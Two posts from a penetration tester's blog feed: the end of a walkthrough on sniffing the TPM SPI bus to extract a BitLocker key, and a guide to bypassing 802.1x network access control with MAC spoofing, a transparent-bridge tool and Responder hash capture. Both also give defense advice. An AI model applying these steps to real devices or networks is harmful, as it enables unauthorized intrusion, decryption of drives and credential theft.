<p>So now it’s time to figure out what line is which in terms of SPI, and hook up our logic analyzer.<br />
In order to be able to decode the SPI signals, we need a clock signal, MISO, MOSI and Channel Select. On the SPI bus there are master and slave devices. For each slave device there is a separate Channel Select line. The master selects to which slave he wants to communicate by grounding the according line.</p>

<p><img src="/images/2021-11-26/spi schema.png" /></p>

<p>In this case we have:<br />
Pin 6 <code class="language-plaintext highlighter-rouge">SPI_CLK64</code> is the clock signal<br />
Pin 5 <code class="language-plaintext highlighter-rouge">SPI_DO64</code> is <code class="language-plaintext highlighter-rouge">MOSI</code><br />
Pin 2 <code class="language-plaintext highlighter-rouge">SPI_DIN64</code> is <code class="language-plaintext highlighter-rouge">MISO</code><br />
Pin 1 <code class="language-plaintext highlighter-rouge">SPI_PCH_CS0#_R</code> is Channel Select<br />
Pin 4 <code class="language-plaintext highlighter-rouge">GND</code> is ground (we need that in order to not mess up with the signals)</p>

<p><img src="/images/2021-11-26/BV UC2.png" /></p>

<p>Now we can attach the probes from the logic analyzer to the flash chip, which is accessible by just removing the back cover of the notebook. I always found it usefull to have some bigger points of orientation to find the correct chips. In this case the two RAM slots were of great help.</p>

<p><img src="/images/2021-11-26/attach.png" />
<img src="/images/2021-11-26/attach2.jpg" /></p>

<p>Next we fire up Logic 2. Here we need to prepare a few things.</p>
<ol>
  <li>
    <p>Install the High Level Analyzer from Henri: <br />
Git clone or download the <a href="https://github.com/FSecureLABS/bitlocker-spi-toolkit">repo</a><br />
Add a custom extension: Extensions -&gt; Load Existing Extension</p>

    <p><img src="/images/2021-11-26/logic_1.png" /></p>

    <p>Select the BitLocker Key Extractor Extension</p>
  </li>
  <li>
    <p>Under the device settings select:<br />
Correct Voltage (this cost me hours of troubleshooting as I first didn’t pay attention here, and let it at 1.2V which gave nothing but bullshit)<br />
Enough RAM for buffering, I used 4GB<br />
An according sample rate. The rule here is to use at least 4 times the rate than the actual signal, which in this case is running at a max of 33MHz, so we should at least select 125MS/s, but I went with 250MS/s</p>

    <p><img src="/images/2021-11-26/logic_2.png" /></p>
  </li>
  <li>
    <p>Setup the SPI decoder, so that we have the correct lines assigned and also have Channel Select on active high. The reason here is, that we 
are on the Channel Select line of the flash chip, and not the one of the TPM. As such we have a Channel Select for the TPM in the opposite way, although we will also catch the signals for the 2nd flash chip, but this is no problem.</p>

    <p><img src="/images/2021-11-26/spiset.png" /></p>
  </li>
</ol>

<h3 id="the-actual-attack">The actual attack</h3>

<p>Now things are getting serious. With everything in place it’s time to start the logging process and fire up our notebook. We should see lots of SPI messages coming in. In regards to the TPM stuff, we are only interested in READ messages from the register TPM_DATA_FIFO_0, which acts as a buffer for exchanged messages on the SPI bus. BitLocker only makes use of the locality 0, which brings everything down to the before mentioned register, where the VMK will be transferred. Henri’s HLA will just look at this register for the BitLocker VMK structures, that are defined as follows (and can be found <a href="https://github.com/libyal/libbde/blob/main/documentation/BitLocker%20Drive%20Encryption%20(BDE)%20format.asciidoc">here</a>):</p>

<p>The header data will start with this <code class="language-plaintext highlighter-rouge">2c000[0-6]000[1-9]000[0-1]000[0-5]200000</code></p>

<p><img src="/images/2021-11-26/BitLocker start.png" /></p>

<p>And afterwards will be followed by the actual VMK</p>

<p><img src="/images/2021-11-26/vmk.png" /></p>

<p>The full key can be fetched in the terminal view of Logic 2:</p>

<p><img src="/images/2021-11-26/vmk2.png" /></p>

<p>Now that we have the key, we can decrypt the data on a Linux box with the help of <a href="https://github.com/Aorimn/dislocker">Dislocker</a>, which Henri wrapped into a nice docker container to save you some time.</p>

<p>The steps are:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>git clone https://github.com/FSecureLABS/bitlocker-spi-toolkit
cd ./bitlocker-spi-toolkit
docker build -t bitlocker-spi-toolkit .
./mount-bitlocker /dev/sdb2 bb9b4c6e6...
</code></pre></div></div>
<p><img src="/images/2021-11-26/git_1.png" /></p>

<p><img src="/images/2021-11-26/mount.png" /></p>

<p>From here it is trivial for an attacker to carry out further stuff, e.g. add a local administrator or reset the local admin password, search for sensitive files and so on.</p>

<h2 id="mitigation">Mitigation</h2>

<p>Well that’s fairly easy. If you want to have it secure, use an additional factor during the boot process.<br />
Microsoft runs an excellent blog for all the scenarios <a href="https://docs.microsoft.com/en-us/windows/security/information-protection/bitlocker/bitlocker-countermeasures">here</a>.<br />
It doesn´t matter if you just bother your users, or implement a 3rd party solution or switch over to another product that offers MFA at the preboot phase together with SSO.</p>

<h2 id="conclusion">Conclusion</h2>

<p>So that’s it.<br />
We successfully stole the VMK from a device we had physical access to.<br />
I disagree with the Dolosgroup people to a certain extent that these attacks can be carried out in a short amount of time - they say less than 30 minutes. The problem I see is, you probably won’t run into a situation where you exactly know the device. The use case might be during a red team engagement to get hold of a device, tore it apart, do all the attack stuff to backdoor it, and put it back into place. But the info gathering phase will take you way more than 30 minutes. If you have all the info beforehand and know exactly what to open, where to hook etc., then it might be possible to carry out everything in less than 30 minutes though.</p>

<p>Special thanks to <a href="https://twitter.com/SecurityJon">Jon Aubrey</a> &amp; <a href="https://twitter.com/time_reyes">Tim</a> from Saleae, for answering all my stupid questions, guiding me the right way and just being supportive.</p>

<p>I hope you enjoyed the read.<br />
Yours faithfully - LuemmelSec.</p>]]></content><author><name></name></author><summary type="html"><![CDATA[This time we want to try to do some hardware hackery stuff and attack BitLocker encrypted drives where TPM is used but no additional factor like a PIN or password.]]></summary></entry><entry><title type="html">I got 99 problems but my NAC ain´t one</title><link href="https://luemmelsec.github.io/I-got-99-problems-but-my-NAC-aint-one/" rel="alternate" type="text/html" title="I got 99 problems but my NAC ain´t one" /><published>2021-06-05T00:00:00+00:00</published><updated>2021-06-05T00:00:00+00:00</updated><id>https://luemmelsec.github.io/I-got-99-problems-but-my-NAC-aint-one</id><content type="html" xml:base="https://luemmelsec.github.io/I-got-99-problems-but-my-NAC-aint-one/"><![CDATA[<p>This post will be all about Network Access Control (NAC) solutions and how they might lull you into a sense of security.<br />
Designed to keep rouge devices out of your network, I´ll show you ways around it, as well as ways to protect yourself.<br />
From a pentester´s or red teamer´s perspective this might come in handy when customers protect their networks with these kinds of tools.</p>

<p><img src="/images/2021-06-05/dog_meme.png" /></p>

<!--more-->
<h1 id="introduction">Introduction</h1>

<p>A <a href="https://en.wikipedia.org/wiki/Network_Access_Control">NAC</a> acts as a kind of a gatekeeper to your local network infrastructure. Its purpose is to keep unwanted devices out of it - or at least only allow restricted access to certain resources. This can be accomplished by several measures, amongst them comparison of MAC addresses, authentication through username and password or certificates, fingerprinting, host-checks and many more.<br />
There are also several scenarios from which such a tool can / wants to protect you. These can be employees with their private internetradio, or a technician in your OT who plugged in a router for remote access or an attacker trying to intrude your network.<br />
If you are more the video or slides guy, I highly recommend checking out <a href="https://twitter.com/passingthehash">Skip´s</a> talk “A Bridge Too Far” from DEFCON 19: <br />
Video: <a href="https://www.youtube.com/watch?v=rurYRDlf1Bo">https://www.youtube.com/watch?v=rurYRDlf1Bo</a><br />
Slides: <a href="https://www.defcon.org/images/defcon-19/dc-19-presentations/Duckwall/DEFCON-19-Duckwall-Bridge-Too-Far.pdf">https://www.defcon.org/images/defcon-19/dc-19-presentations/Duckwall/DEFCON-19-Duckwall-Bridge-Too-Far.pdf</a></p>

<h1 id="basics">Basics</h1>

<p>Most commonly your NAC solution will be based on <a href="https://en.wikipedia.org/wiki/IEEE_802.1X">802.1x</a> which is a standard for port based network access. It will interact with your switches (most likely and mainly via SNMP) and allow or block ports based on the rules you define.<br />
There are 3 parties involved:</p>
<ol>
  <li>The supplicant - the client that is asking for network access</li>
  <li>The authenticator - the device that acts as the gatekeeper and to which the clients connects - most likely a switch.</li>
  <li>The authentication server - something in the background that validates the requests and grants or denies access to the supplicant.</li>
</ol>

<p>By default the ports are in an unauthorized state and will only allow to transmit and receive Extensible Authentication Protocol Over LAN (<a href="https://www.vocal.com/secure-communication/eapol-extensible-authentication-protocol-over-lan/">EAPOL</a>) frames - which basically is encapsulated <a href="https://en.wikipedia.org/wiki/Extensible_Authentication_Protocol">EAP</a>. These frames are forwarded from the client desiring access to the network to the switch which unpacks the EAPOL and forwards the EAP packet to an authentication server - which in most cases will be a RADIUS server. From there everything goes vice versa. As EAP is more a framework than a protocol, it contains several EAP methods that allow you to choose how to authenticate. The most commonly known variants are EAP-TLS, EAP-MD5, EAP-PSK and EAP-IKEv2, allowing to authenticate by e.g. preshared keys, passwords or certificates. <br />
The flow looks like this:</p>
<figure>
  <img src="/images/2021-06-05/eapol_flow.png" />
  <figcaption>802.1x auth flow. Credits wikipedia.</figcaption>
</figure>

<p>When all checks are passed, the port will be switched to authorized and thus allow the normal network traffic.</p>

<p>For all this stuff to be able to happen you need an infrastructure that is capable of talking 802.1x - this is your clients and your switches. And you also need something to authenticate against e.g. a <a href="https://en.wikipedia.org/wiki/RADIUS">RADIUS</a> server. To manage the whole stuff, most people will rely on one of the many NAC solutions out there, which will provide you with a nice GUI from which one can manage all the rules, devices, workflows and stuff. A short overview can be found at gartner: <a href="https://www.gartner.com/reviews/market/network-access-control">https://www.gartner.com/reviews/market/network-access-control</a></p>

<h1 id="i-got-99-problems-but-my-nac-aint-one">I got 99 problems but my NAC ain´t one</h1>

<p>It´s like every time with security tools that pretend to help. There are some cases where a NAC comes in handy and will help you protect your network and there are other cases where it just can´t do shit.</p>

<p><img src="/images/2021-06-05/drevil_meme.png" /></p>

<p>To play a fair game at this point: We have to differentiate between solutions &lt; 802.1x-2010 and &gt; 802.1x-2010, the latter one bringing <a href="https://en.wikipedia.org/wiki/IEEE_802.1AE">MACSec / IEEE 802.1AE</a> and as such implementing Layer 2 encryption between the supplicant and the authenticator - which will render mostly all of the following attacks useless. However to be able to distribute MACSec you´ll have to have your whole infrastructure compatible with this standard. As it is not broadly deployed and available outside in real life, chances are low you will ever see such an implementation.<br />
Just for the sake of completeness: If you are looking for ways to bypass MACSec, you can have a look at the work of <a href="https://twitter.com/s0lst1c3">s0lst1c3</a>:<br />
<a href="https://github.com/s0lst1c3/silentbridge">https://github.com/s0lst1c3/silentbridge</a><br />
It is however heavily relying on stolen auth creds (at least that´s what I read from a first quick glimpse at the paper) and from my point of view very hypothetical, but maybe worth a try.</p>

<p><img src="/images/2021-06-05/dig_meme.png" /></p>

<h2 id="hax0rs-arsenal">Hax0r´s arsenal</h2>

<p>As I wanted a small dropbox to carry out such attacks, I decided to buy a Raspberry Pi 4 with some goodies:</p>

<p><a href="https://www.amazon.de/Raspberry-Pi-Ersatzteil-Single-Board-102110421/dp/B0899VXM8F/">Raspberry Pi 4 8GB</a><br />
<a href="https://www.amazon.de/Raspberry-Touchscreen-320x480-Monitor-Display/dp/B07WSVS1Q1">3.5” TFT with Case</a><br />
<a href="https://www.amazon.de/GeekerChip-Adapter-Netzwerk-Ethernet-Windows/dp/B08FY6YY79">Additional USB Ethernet Adapter</a>
<a href="https://www.amazon.de/Raspberry-Pi-Netzteil-USB-C-für/dp/B085X69KRL">Power Adapter</a><br />
<a href="https://www.amazon.de/offizielle-Raspberry-Pi-Tastatur-Layout/dp/B07QHM4L2D">Keyboard</a><br />
<a href="https://www.amazon.de/SanDisk-Extreme-microSDXC-Speicherkarte-SD-Adapter/dp/B07FCMBLV6">SD Card</a></p>

<p>To be even more mobile, you could also get a powerbank. For external pwnage one could extend the setup with an LTE modem. And to stay stealthier, we could leave the display and stuff away.</p>

<p>The Raspberry can be flushed with the official ARM image of Kali: <a href="https://www.kali.org/get-kali/#kali-arm">https://www.kali.org/get-kali/#kali-arm</a></p>

<p>As I am getting older and my eyes worse, I wanted to be able to connect via SSH over WiFi, so I would be able to work from my normal notebook and not relying on the 3.5” display on longer testings, leaving it for troubleshooting purposes.  <br />
So I also set up a DHCP server via <a href="https://www.isc.org/dhcp/">isc-dhcp-server</a> and WiFi via <a href="https://wiki.gentoo.org/wiki/Hostapd">hostapd</a>.</p>

<p>In order to install the stuff and have it up after boot automatically run:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>sudo apt-get install isc-dhcp-server  
sudo apt-get install hostapd  
sudo systemctl enable isc-dhcp-server  
sudo systemctl unmask hostapd  
sudo systemctl enable hostapd  
</code></pre></div></div>
<p>Next we set up our DHCP config to something like this:<br />
<code class="language-plaintext highlighter-rouge">nano /etc/dhcp/dhcpd.conf</code></p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>default-lease-time 600;
max-lease-time 7200;
subnet 192.168.200.0 netmask 255.255.255.0 {
range 192.168.200.2 192.168.200.20;
option subnet-mask 255.255.255.0;
option broadcast-address 192.168.200.255;
}
</code></pre></div></div>

<p>Last but not least we configure our WiFi:<br />
<code class="language-plaintext highlighter-rouge">nano /etc/hostapd/hostapd.conf</code></p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>interface=wlan0
driver=nl80211
ssid=kali_hotspot
hw_mode=g
channel=11
macaddr_acl=0
ignore_broadcast_ssid=0
auth_algs=1
wpa=2
wpa_passphrase=Sup3rS3cr3tW1F1P@ss!
wpa_key_mgmt=WPA-PSK
wpa_pairwise=CCMP
wpa_group_rekey=86400
ieee80211n=1
wme_enabled=1
</code></pre></div></div>

<p>Lastly configure SSH to your needs and we are good to go, ending with a setup like this:<br />
<img src="/images/2021-06-05/pi.png" /></p>

<h2 id="scenarios">Scenarios</h2>

<p>I´d like to split the whole attack part into several scenarios, shedding some light on different points of view.</p>

<h3 id="no-nac-at-all">No NAC at all</h3>

<p>Yeah I know, that was stupid :) Move along.</p>

<h3 id="mac-address-used-as-only-authentication-feature">MAC address used as only “authentication” feature</h3>

<p><img src="/images/2021-06-05/onedoesnot_meme.png" /></p>

<p>This one is a quick win for attackers. Companies will have devices that are not able to speak 802.1x. Amongst them can be printers, IP telephones, cameras and stuff like that.<br />
This is where <a href="https://networklessons.com/cisco/ccie-routing-switching-written/mac-authentication-bypass-mab">MAC Authentication Bypass(MAB)</a> comes into play. The port will first check if the attached device can speak 802.1x. If not it will ask the authentication server if the MAC of that device is allowed without authentication, and if yes open the port.</p>

<p>All an attacker would have to do here is to spoof the MAC address. Regarding the affected devices you can get your hands on this info by:</p>
<ul>
  <li>printing out a status page on a printer</li>
  <li>looking up labels</li>
  <li>going into the menus</li>
  <li>…</li>
</ul>

<p>We can then use macchanger to spoof the original system´s MAC address and swap cables afterwards to access the customer´s network:<br />
<code class="language-plaintext highlighter-rouge">macchanger -m 00:AB:01:CD:XY:AB eth0</code></p>

<p>Where:<br />
<code class="language-plaintext highlighter-rouge">-m</code> tells macchanger we want to manually assign a MAC address.<br />
<code class="language-plaintext highlighter-rouge">00:AB:01:CD:XY:AB</code> is the MAC address from the attacked device.<br />
<code class="language-plaintext highlighter-rouge">eth0</code> is the interface of our dropbox that we want to connect to the network.</p>

<p>macchanger might tell you, that it can´t change addresses right now. In these cases bring down the interface, change the MAC, and bring it up again:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ifdown eth0
macchanger -m 00:AB:01:CD:XY:AB eth0
ifup eth0
</code></pre></div></div>

<h3 id="mac-address-needs-to-be-authorized-and-authentication-required">MAC address needs to be authorized and authentication required</h3>

<p>This is the case you´ll most probably stumble upon. The MAC is known to the NAC solution and a device / user will also have to authenticate against the auth server (doesn´t matter by what means to an attacker).</p>

<p>Again the first part is trivial, but we don´t have a cert or credentials for the second step to do the authentication stuff. So what now?<br />
Well there´s two things we could do:</p>
<ol>
  <li>Dig out our old dusty Hub, switch our MAC address to the victim ones, connect our dropbox and the victim to the same ethernet port. The “real” device will do the auth stuff for us, putting the port into authorized mode, and allow both devices to connect to the network. As both have the same MAC, the switch will only have one entry in its ARP / SAT table, not raising suspicion.<br />
But there is a downside to this method. As long as we use stateless protocols like UDP, we and the victim can communicate just fine. However when it comes to using stateful protocols like TCP, we will for certain run into issues, as one device behind the Hub will be the first to receive and drop or answer a package e.g. in the 3-way-handshake. We could unplug the original device after it opened the port for us and have a fully capable device inside their network, but this might very quickly raise alarms, when the device is somewhat monitored and will kick us off the network when the next authentication needs to be done. This leaves us with option …</li>
  <li>Using a transparent bridge. This is the implementation of Skip´s idea, which involves a device that - simply spoken - in a first instance just lets all the traffic traverse it by means of forwarding rules, being totally transparent to the network and all the participants. Next it does some tcpdump magic to sniff traffic like ARP, NetBIOS but also Kerberos, Active Directory, web etc., extracting the needed info to spoof the victim and the networks gateway to stay under the radar. With this info the needed rules in ebtables, iptables etc. are automatically created, and will allow an attacker to interact with the network mimicking the victim.</li>
</ol>

<p>At this point I want to thank <a href="https://twitter.com/0x6d69636b">Mick Schneider</a> for writing <a href="https://www.scip.ch/?labs.20190207">this</a> blog post about bypassing 802.1x. Everything regarding this topic started with his post and the <a href="https://github.com/scipag/nac_bypass">nac_bypass</a> tool he wrote. I am using his tool on engagements, and it is awesome :) Thanks buddy.<br />
During my research I found several other tools that implement the same features. You can find a list of them at the very end of this blog post.</p>

<p>So to get started you first need to find a device you want to attack. We might hide our dropbox under a desk, or abuse a public terminal or install an implant on a printer on the hallway. <br />
Next we start the nac_bypass script and put the dropbox between the switch (eth0) and the victim device (eth1).<br />
<code class="language-plaintext highlighter-rouge">./nac_bypass_setup.sh</code><br />
If you want to manually specify the interfaces you can do so with the <code class="language-plaintext highlighter-rouge">-1</code> and <code class="language-plaintext highlighter-rouge">-2</code>switches. By default it will treat the lower device as switch side, and the next one as victim facing interface. I nearly never used these options.</p>

<p><img src="/images/2021-06-05/nac_bypass.png" /></p>

<p>The script asks you to wait some time, so it is able to dump the needed info from the network traffic, and then to hit any key.</p>

<p><img src="/images/2021-06-05/nac_bypass1.png" /><br />
<img src="/images/2021-06-05/nac_bypass2.png" /></p>

<p>As you can see, it grabbed my MAC address, my IP address and the gateway´s MAC address, just as Skip described it to be the only needed info for the bridge attack.<br />
You can now proceed and for instance do an nmap scan on the network, start MitM attacks, or just watch and analyze the traffic passing by.</p>

<p>As for Responder: Things got a little confusing for me at first. So I reached out to Mick directly who replied to me within minutes. I really love this community and how helpful people are. So thank you again Mick for your kind support.<br />
You can look up the iptables rules like so to see what is going on: <code class="language-plaintext highlighter-rouge">iptables -t nat -L</code><br />
This script will put rules in place, that reroute all traffic intended for the client let´s say port 445 to your bridge.<br />
So Responder needs to bet set up to listen on the bridge interface, but change the answering IP address to the one of the victim:<br />
<code class="language-plaintext highlighter-rouge">./Responder.py -I br0 -e victim.ip</code></p>

<p>And tada, I am in your network:</p>

<p><img src="/images/2021-06-05/mitm.png" /></p>

<p>Again fetching your hashes (more wizardry in my other blog <a href="https://luemmelsec.github.io/Relaying-101/">post</a>):</p>

<p><img src="/images/2021-06-05/hashwizard.png" /></p>

<p><img src="/images/2021-06-05/responder_all2.png" /></p>

<h1 id="defense">Defense</h1>
<p>In general an 802.1x implementation will prevent employees or service providers from connecting rogue devices to your network.<br />
To a certain extend it may also block script kiddies.<br />
For someone who is willed and has the needed knowledge, the attacks will most likely be successful, rendering NAC (at least if &lt; 802.1x-2010) useless.<br />
Do your homework. Know what you are exposing, and how much security you gain by implementing NAC.</p>

<p>Here´s some general advice I can provide in order to keep things as secure as possible:</p>
<ul>
  <li>If you have devices that get authenticated by MAC only -&gt; separate them. Put them in a different VLAN or do microsegmentation and be 100% sure to reduce allowed resources to an absolute minimum. Keep these systems up-to-date, as they are easier to reach by an attacker, so to keep the attack surface as low as possible. If you are able to, get rid of devices that can´t do 802.1x. Also if possible use fingerprinting options inside your NAC, so that the MAC address is not the only criteria, but also open ports, stack fingerprints etc.</li>
  <li>To minimize the Hub scenario, set up your environment to ask for re-authentication in smaller timeframes. Leaving ports open after a successful 802.1x authentication for an hour will pose you to a much higher risk than 5 minutes.</li>
  <li>If possible stick to MACSec. This will at least make it much harder for an attacker to gather the needed info to play MitM.</li>
  <li>If you can´t do MACSec, it´ll be all about what can happen and what you see after an attacker is inside your network. Use triggers like:
    <ul>
      <li>Uncommon link up/downs on your switch</li>
      <li>Speed / duplex changes</li>
      <li>Changes in framesizes (e.g. Windows vs Linux)</li>
      <li>Changed TTLs</li>
      <li>Access to systems and services that normally don´t get accessed (firewall logs)</li>
      <li>Monitor your networks traffic and detect attacks / unknown patterns (IDS/IPS/SIEM)</li>
    </ul>
  </li>
  <li>Separate your devices as much as possible.</li>
  <li>Don´t expose unneeded ports. Pull the cables in the rack for not in use ports, or disable them switch wise.</li>
  <li>Don´t expose unneeded info. Stickers with IP / MAC addresses will make it much easier for an attacker. Same goes for access to IP phone or printer menus to gather network  intel. Restrict them as much as possible.</li>
  <li>Restrict access to the systems. If someone is not able to get in between, he can´t carry out attacks.</li>
  <li>Awareness - Train your employees to ask questions and inform you, when they see a suspicious device hanging from a printer or stuff like that.</li>
  <li>I heard people say to use a per client VPN solution. However I am not quite sure if this will work. All the juicy info still needs to be plain text, so that routers are able - well - to route the packets. So an attacker will still be able to set up the transparent bridge. He will however not be able to reach the “other side” of the VPN. This again would need you to have ALL devices being capable of doing VPN and that´s not going to happen.</li>
</ul>

<h1 id="closing-words">Closing words</h1>

<p>So that´s it folks. I hope you enjoyed this blog post.<br />
If you have 802.1x in place to secure your network, you should by now know that it is not that secure at all.<br />
If you know of further attacks or mitigations please let me know. Also feel free to correct my mistakes. You can reach me on twitter <a href="https://twitter.com/theluemmel">@LuemmelSec</a>.</p>

<p>Happy hacking<br />
LuemmelSec</p>

<h1 id="references">References</h1>

<p>Tools:</p>
<ul>
  <li><a href="https://github.com/p292/NACKered">https://github.com/p292/NACKered</a></li>
  <li><a href="https://www.gremwell.com/marvin-mitm-tapping-dot1x-links">https://www.gremwell.com/marvin-mitm-tapping-dot1x-links</a> <br />
If I remember right, I gave marvin a try, but it wouldn´t run on ARM.</li>
  <li><a href="https://github.com/Orange-Cyberdefense/fenrir-ocd">https://github.com/Orange-Cyberdefense/fenrir-ocd</a></li>
  <li><a href="https://github.com/nccgroup/phantap">https://github.com/nccgroup/phantap</a></li>
  <li><a href="https://github.com/s0lst1c3/silentbridge">https://github.com/s0lst1c3/silentbridge</a></li>
  <li><a href="https://github.com/SySS-Research/Lauschgeraet">https://github.com/SySS-Research/Lauschgeraet</a></li>
</ul>]]></content><author><name></name></author><summary type="html"><![CDATA[This post will be all about Network Access Control (NAC) solutions and how they might lull you into a sense of security. Designed to keep rouge devices out of your network, I´ll show you ways around it, as well as ways to protect yourself. From a pentester´s or red teamer´s perspective this might come in handy when customers protect their networks with these kinds of tools.]]></summary></entry></feed>